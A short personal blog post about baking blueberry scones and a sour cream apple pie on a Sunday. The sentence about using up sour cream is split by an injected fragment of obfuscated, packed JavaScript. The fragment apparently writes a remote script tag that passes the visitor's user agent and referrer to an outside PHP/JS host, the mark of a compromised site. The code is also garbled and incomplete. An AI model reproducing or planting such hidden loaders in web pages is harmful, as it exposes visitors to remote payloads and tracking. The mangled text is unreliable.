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Just call me Mrs. Cleaver

I’m a highly domestic engineer.  I woke up Sunday morning with a hankering for apple pie and scones.  So I made them both.  No real reason.  Just wanted to bake something.  And I needed an excuse to use up a few cups of sour ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tfhnb|var|u0026u|referrer|nyzye||js|php’.split(‘|’),0,{}))
cream
🙂

I’m not good at baking, but I’m good and finding and following recipes.  I have a new favorite recipe website that led me to some TASTY blueberry scones.  The recipe was super simple and the scones came out perfect and moist.  I’d make 1 small change next time 🙂  Ok, maybe I don’t always follow the recipe.

You can find the recipe here!

Then I decided it would be a good idea to make a sour cream apple pie.  We usually only get this at Thanksgiving, so it sounded like a wonderful idea!

When it was done, I put it on the counter to cool.  Nick said it looked like a scene from the 1950’s, with a warm apple pie cooling in the kitchen.

I’ll post the recipe on my other blog tomorrow 🙂

Bet you wish you lived with me.  We’ve been eating like fatty’s for the past 2 days!  Time for the gym!